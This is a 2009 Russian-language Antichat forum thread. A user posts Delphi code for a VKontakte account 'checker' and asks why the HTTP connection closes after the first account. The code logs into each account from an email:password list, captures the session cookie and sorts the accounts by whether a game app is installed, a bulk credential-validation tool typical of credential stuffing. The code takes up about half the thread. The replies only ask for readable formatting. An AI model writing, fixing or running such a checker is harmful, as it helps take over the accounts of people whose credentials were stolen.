Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |

04.12.2009, 08:25
|
|
Познающий
Регистрация: 11.07.2009
Сообщений: 83
Провел на форуме: 279987
Репутация:
30
|
|
Connection Keep Alive
вобщем такой вопрос, написал чекер для вк, застопорился на проверке есть ли на на акке приложение "Легенда"
пишу такой код
Код:
procedure TMainForm.CheckVKLegendButtonClick(Sender: TObject); var param : TStringList; i : integer; email, pass, s, cookie, post : string; begin param:=TStringList.Create; for i:=0 to AllListBox.Items.Count-1 do begin DivideVK(AllListBox.Items[i], email,pass); param.Add('email='+email); param.Add('pass='+pass); param.Add('expire='); param.Add('vk=1'); s:=IdHTTP2.Post('http://login.vk.com/?act=login',param); param.Clear; Delete(s, 1, Pos('id=''s'' value=''', s) + 13); Delete(s, 57, Pos('''/>', s) + 35); param.Add('op=slogin'); param.Add('redirect=1'); param.Add('expire=0'); param.Add('to='); param.Add('s='+s); s:=IdHTTP2.Post('http://vkontakte.ru/login.php',param); Memo2.Lines.Add(idhttp2.Response.RawHeaders.CommaText); cookie:=copy(Memo2.Text,pos('"Set-Cookie: remixsid=',Memo2.Text)+22,56); ShowMessage(cookie); IdHTTP2.Request.CustomHeaders.Add('Cookie: remixsid='+cookie+';'); post:=IdHTTP2.Get('http://vkontakte.ru/apps.php'); if Pos('Легенда - первая настоящая ролевая игра ВКонтакте!',post)>0 then ValibLegendBox.Items.Add(email+':'+pass) else InvalidLegendBox.Items.Add(email+':'+pass); IdCookieManager2.CookieCollection.Clear; end; end;
В Мемо записывается следующее
для первого аккаунта
"Server: nginx/0.7.59","Date: Fri, 04 Dec 2009 04:23:35 GMT","Content-Type: text/html; charset=windows-1251","Connection: keep-alive","X-Powered-By:
для второго и последующих
"Server: nginx/0.7.59","Date: Fri, 04 Dec 2009 04:23:47 GMT","Content-Type: text/html; charset=windows-1251","Connection: close","X-Powered-By:
Почему закрывается соединение?
|
|
|

04.12.2009, 10:06
|
|
Постоянный
Регистрация: 29.07.2009
Сообщений: 400
Провел на форуме: 1455812
Репутация:
150
|
|
Сделай код читабельным.
|
|
|

04.12.2009, 14:05
|
|
Banned
Регистрация: 03.11.2009
Сообщений: 112
Провел на форуме: 98006
Репутация:
17
|
|
седалй код читабельным-и как я предпологаю закрывается оно потому что ты каждый раз новое содаёшь.
|
|
|

04.12.2009, 17:55
|
|
Познающий
Регистрация: 11.07.2009
Сообщений: 83
Провел на форуме: 279987
Репутация:
30
|
|
procedure TMainForm.CheckVKLegendButtonClick(Sender: TObject);
var
param : TStringList;
i : integer;
email, pass, s, cookie, post : string;
begin
param:=TStringList.Create;
for i:=0 to AllListBox.Items.Count-1 do begin
DivideVK(AllListBox.Items[i], email,pass);
param.Add('email='+email);
param.Add('pass='+pass);
param.Add('expire=');
param.Add('vk=1');
s:=IdHTTP2.Post('http://login.vk.com/?act=login',param);
param.Clear;
Delete(s, 1, Pos('id=''s'' value=''', s) + 13);
Delete(s, 57, Pos('''/>', s) + 35);
param.Add('op=slogin');
param.Add('redirect=1');
param.Add('expire=0');
param.Add('to=');
param.Add('s='+s);
s:=IdHTTP2.Post('http://vkontakte.ru/login.php',param);
Memo2.Lines.Add(idhttp2.Response.RawHeaders.CommaT ext);
cookie:=copy(Memo2.Text,pos('"Set-Cookie: remixsid=',Memo2.Text)+22,56);
ShowMessage(cookie);
IdHTTP2.Request.CustomHeaders.Add('Cookie: remixsid='+cookie+';');
post:=IdHTTP2.Get('http://vkontakte.ru/apps.php');
if Pos('Легенда - первая настоящая ролевая игра ВКонтакте!',post)>0 then
ValibLegendBox.Items.Add(email+':'+pass) else
InvalidLegendBox.Items.Add(email+':'+pass);
IdCookieManager2.CookieCollection.Clear;
end;
end;
вот читабельно теперь.
как боротся с закрытием?
|
|
|
|
 |
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Живые прокси
|
xdx |
ICQ |
111 |
15.04.2007 13:10 |
|
Proxy
|
Kozak-Scv |
Анонимность |
2 |
11.02.2007 17:28 |
|
Web Services Secure Connection
|
Dracula4ever |
Forum for discussion of ANTICHAT |
0 |
13.06.2006 18:54 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|